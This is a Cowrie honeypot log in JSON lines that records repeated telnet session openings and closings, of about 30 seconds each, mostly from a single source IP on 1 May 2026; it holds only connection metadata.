{"eventid":"cowrie.session.closed","duration":31.282899141311646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:08.810305Z","src_ip":"164.68.118.26","session":"dc303d3a000a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44930,"dst_ip":"10.17.0.5","dst_port":23,"session":"928b8ed88840","protocol":"telnet","message":"New connection: 164.68.118.26:44930 (10.17.0.5:23) [session: 928b8ed88840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:08.815714Z"}
{"eventid":"cowrie.session.closed","duration":30.964136600494385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:09.076673Z","src_ip":"164.68.118.26","session":"0adcb318b1e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46332,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24a5cfd92a2","protocol":"telnet","message":"New connection: 164.68.118.26:46332 (10.17.0.5:23) [session: b24a5cfd92a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:09.195373Z"}
{"eventid":"cowrie.session.closed","duration":31.30833339691162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:09.283890Z","src_ip":"164.68.118.26","session":"8d6861137423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47142,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b57bd3869bb","protocol":"telnet","message":"New connection: 164.68.118.26:47142 (10.17.0.5:23) [session: 6b57bd3869bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:09.377940Z"}
{"eventid":"cowrie.session.closed","duration":30.522770881652832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:09.393611Z","src_ip":"164.68.118.26","session":"2c7f52d7a72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48476,"dst_ip":"10.17.0.5","dst_port":23,"session":"e942a719d8d0","protocol":"telnet","message":"New connection: 164.68.118.26:48476 (10.17.0.5:23) [session: e942a719d8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:09.746449Z"}
{"eventid":"cowrie.session.closed","duration":30.534489393234253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:10.218925Z","src_ip":"164.68.118.26","session":"89413db68e54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51942,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7c75ca0a76","protocol":"telnet","message":"New connection: 164.68.118.26:51942 (10.17.0.5:23) [session: 2b7c75ca0a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:10.705577Z"}
{"eventid":"cowrie.session.closed","duration":31.209218978881836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:10.746013Z","src_ip":"164.68.118.26","session":"e39d163ed10b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54188,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb60118db67a","protocol":"telnet","message":"New connection: 164.68.118.26:54188 (10.17.0.5:23) [session: bb60118db67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:11.337378Z"}
{"eventid":"cowrie.session.closed","duration":31.280094623565674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:11.948498Z","src_ip":"164.68.118.26","session":"feb98ca0c76a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19239640235901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:12.237845Z","src_ip":"164.68.118.26","session":"3e4e84f3fe54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"eff98e5b9ac0","protocol":"telnet","message":"New connection: 173.198.194.106:47490 (10.17.0.5:23) [session: eff98e5b9ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:12.743032Z"}
{"eventid":"cowrie.session.closed","duration":30.820966482162476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:13.102661Z","src_ip":"164.68.118.26","session":"ce73fc27aeb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026357412338257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:13.193657Z","src_ip":"164.68.118.26","session":"c14ed8528f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629393339157104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:13.352357Z","src_ip":"164.68.118.26","session":"023545b632d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34164,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b81189fe739","protocol":"telnet","message":"New connection: 164.68.118.26:34164 (10.17.0.5:23) [session: 9b81189fe739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:13.414371Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":49770,"dst_ip":"10.17.0.5","dst_port":23,"session":"c556e521fa91","protocol":"telnet","message":"New connection: 45.63.42.31:49770 (10.17.0.5:23) [session: c556e521fa91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:13.897632Z"}
{"eventid":"cowrie.session.closed","duration":31.32393503189087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:14.602732Z","src_ip":"173.198.194.106","session":"121703d44610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41684,"dst_ip":"10.17.0.5","dst_port":23,"session":"e188d652f61b","protocol":"telnet","message":"New connection: 164.68.118.26:41684 (10.17.0.5:23) [session: e188d652f61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:15.372854Z"}
{"eventid":"cowrie.session.closed","duration":31.508195161819458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:15.780720Z","src_ip":"164.68.118.26","session":"7bb35c20e5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43736,"dst_ip":"10.17.0.5","dst_port":23,"session":"14d2cd700feb","protocol":"telnet","message":"New connection: 164.68.118.26:43736 (10.17.0.5:23) [session: 14d2cd700feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:15.864893Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44212,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bf20c88ac19","protocol":"telnet","message":"New connection: 164.68.118.26:44212 (10.17.0.5:23) [session: 1bf20c88ac19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:15.975755Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44792,"dst_ip":"10.17.0.5","dst_port":23,"session":"edcd55053e98","protocol":"telnet","message":"New connection: 164.68.118.26:44792 (10.17.0.5:23) [session: edcd55053e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:16.103200Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47648,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f00f20f33f","protocol":"telnet","message":"New connection: 164.68.118.26:47648 (10.17.0.5:23) [session: 60f00f20f33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:16.867531Z"}
{"eventid":"cowrie.session.closed","duration":30.594111680984497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:17.062957Z","src_ip":"164.68.118.26","session":"a9688b9d2303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870816707611084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:17.072081Z","src_ip":"164.68.118.26","session":"272806a8c6e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599101066589355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:17.090077Z","src_ip":"164.68.118.26","session":"47554cd6f4ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48526,"dst_ip":"10.17.0.5","dst_port":23,"session":"a00289ca6585","protocol":"telnet","message":"New connection: 164.68.118.26:48526 (10.17.0.5:23) [session: a00289ca6585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:17.098458Z"}
{"eventid":"cowrie.session.closed","duration":31.27827739715576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:17.278839Z","src_ip":"164.68.118.26","session":"7540fb797aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50880,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e1eef0505b7","protocol":"telnet","message":"New connection: 164.68.118.26:50880 (10.17.0.5:23) [session: 2e1eef0505b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:17.742691Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51896,"dst_ip":"10.17.0.5","dst_port":23,"session":"287e1f0cf4eb","protocol":"telnet","message":"New connection: 164.68.118.26:51896 (10.17.0.5:23) [session: 287e1f0cf4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:18.005451Z"}
{"eventid":"cowrie.session.closed","duration":30.73641538619995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:18.113297Z","src_ip":"164.68.118.26","session":"0853508920f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231289625167847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:18.492101Z","src_ip":"164.68.118.26","session":"fc65be780ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53870,"dst_ip":"10.17.0.5","dst_port":23,"session":"45fb01aa55a7","protocol":"telnet","message":"New connection: 164.68.118.26:53870 (10.17.0.5:23) [session: 45fb01aa55a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:18.548851Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55852,"dst_ip":"10.17.0.5","dst_port":23,"session":"f963d35c1682","protocol":"telnet","message":"New connection: 164.68.118.26:55852 (10.17.0.5:23) [session: f963d35c1682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:19.054528Z"}
{"eventid":"cowrie.session.closed","duration":30.22842001914978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:19.141905Z","src_ip":"173.198.194.106","session":"b9d9bbe05460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51738214492798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:19.214554Z","src_ip":"164.68.118.26","session":"05b4495f41df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57306,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2d68fb51ecb","protocol":"telnet","message":"New connection: 164.68.118.26:57306 (10.17.0.5:23) [session: e2d68fb51ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:19.484392Z"}
{"eventid":"cowrie.session.closed","duration":31.881325483322144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:19.918020Z","src_ip":"164.68.118.26","session":"270f515970d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876530170440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:20.119601Z","src_ip":"164.68.118.26","session":"1df172846f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735928773880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:20.189170Z","src_ip":"164.68.118.26","session":"6ca5123252b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492246627807617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:20.268494Z","src_ip":"164.68.118.26","session":"b5907470bf12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221038341522217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:20.273735Z","src_ip":"164.68.118.26","session":"5104dd3fceb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18988800048828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:20.328497Z","src_ip":"164.68.118.26","session":"2d3b7c8a1a9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098033905029297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:20.357622Z","src_ip":"164.68.118.26","session":"cd18e8dd8bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33042,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c51dceccaed","protocol":"telnet","message":"New connection: 164.68.118.26:33042 (10.17.0.5:23) [session: 0c51dceccaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:20.520430Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39050,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ee412f5a920","protocol":"telnet","message":"New connection: 164.68.118.26:39050 (10.17.0.5:23) [session: 1ee412f5a920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:21.991546Z"}
{"eventid":"cowrie.session.closed","duration":30.583773374557495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:22.135248Z","src_ip":"164.68.118.26","session":"dd390419ee7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39978,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55ade0a12f2","protocol":"telnet","message":"New connection: 164.68.118.26:39978 (10.17.0.5:23) [session: c55ade0a12f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:22.245406Z"}
{"eventid":"cowrie.session.closed","duration":31.201027631759644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:22.658123Z","src_ip":"164.68.118.26","session":"580cf312bdae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59413766860962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:23.039709Z","src_ip":"164.68.118.26","session":"d150f74bf2d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43466,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4f2299a58a","protocol":"telnet","message":"New connection: 164.68.118.26:43466 (10.17.0.5:23) [session: ab4f2299a58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:23.105326Z"}
{"eventid":"cowrie.session.closed","duration":31.01351809501648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:23.146251Z","src_ip":"164.68.118.26","session":"0d75ff925bf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727158308029175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:23.310418Z","src_ip":"164.68.118.26","session":"cddfa15a34e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59897518157959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:23.406012Z","src_ip":"164.68.118.26","session":"061eacfbd269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21820640563965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:23.732508Z","src_ip":"164.68.118.26","session":"3f242982cdc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46436,"dst_ip":"10.17.0.5","dst_port":23,"session":"687a1fb05ff8","protocol":"telnet","message":"New connection: 164.68.118.26:46436 (10.17.0.5:23) [session: 687a1fb05ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:23.812464Z"}
{"eventid":"cowrie.session.closed","duration":30.230401039123535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:24.086004Z","src_ip":"164.68.118.26","session":"84f6fde49a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912747859954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:24.484343Z","src_ip":"164.68.118.26","session":"65bd87402a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656578063964844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:24.591552Z","src_ip":"164.68.118.26","session":"86b2872bbb58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229286193847656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:24.745985Z","src_ip":"164.68.118.26","session":"57d1d5aa4382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.414909839630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:25.188059Z","src_ip":"164.68.118.26","session":"b20c646f229f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52442,"dst_ip":"10.17.0.5","dst_port":23,"session":"6986d6c510fc","protocol":"telnet","message":"New connection: 164.68.118.26:52442 (10.17.0.5:23) [session: 6986d6c510fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:25.325013Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53830,"dst_ip":"10.17.0.5","dst_port":23,"session":"89425994a4cd","protocol":"telnet","message":"New connection: 164.68.118.26:53830 (10.17.0.5:23) [session: 89425994a4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:25.599761Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54588,"dst_ip":"10.17.0.5","dst_port":23,"session":"26aa759030dc","protocol":"telnet","message":"New connection: 164.68.118.26:54588 (10.17.0.5:23) [session: 26aa759030dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:25.777060Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55706,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd313e0df3b9","protocol":"telnet","message":"New connection: 164.68.118.26:55706 (10.17.0.5:23) [session: bd313e0df3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:26.051538Z"}
{"eventid":"cowrie.session.closed","duration":30.692123889923096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:26.250232Z","src_ip":"164.68.118.26","session":"3060cf115a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125013828277588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:26.321784Z","src_ip":"164.68.118.26","session":"3a2be729fd03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202779293060303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:26.967542Z","src_ip":"164.68.118.26","session":"7d384441281d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.186461925506592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:27.085626Z","src_ip":"164.68.118.26","session":"992b666eb450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386150598526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:27.314895Z","src_ip":"164.68.118.26","session":"f96e30f5959d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":47286,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c235eb1175f","protocol":"telnet","message":"New connection: 103.115.172.252:47286 (10.17.0.5:23) [session: 0c235eb1175f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:27.369360Z"}
{"eventid":"cowrie.session.closed","duration":30.21211266517639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:28.061200Z","src_ip":"164.68.118.26","session":"bc48c6236ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62271738052368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:28.477035Z","src_ip":"164.68.118.26","session":"89877f1e612b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.480828046798706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:28.561494Z","src_ip":"164.68.118.26","session":"cbfe8b410dcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782986879348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:29.234160Z","src_ip":"164.68.118.26","session":"29ba1eaeaf89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85116672515869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:29.308500Z","src_ip":"164.68.118.26","session":"5f2e5ae2b514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5978786945343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:30.088883Z","src_ip":"164.68.118.26","session":"e30a44cdf6c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814656496047974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:30.267165Z","src_ip":"164.68.118.26","session":"2a374ffe8299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521007776260376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:30.500246Z","src_ip":"164.68.118.26","session":"ee47168c7003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068713426589966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:31.198676Z","src_ip":"164.68.118.26","session":"b8c76462374c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026094913482666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:31.501295Z","src_ip":"164.68.118.26","session":"96486866e441","protocol":"telnet"}
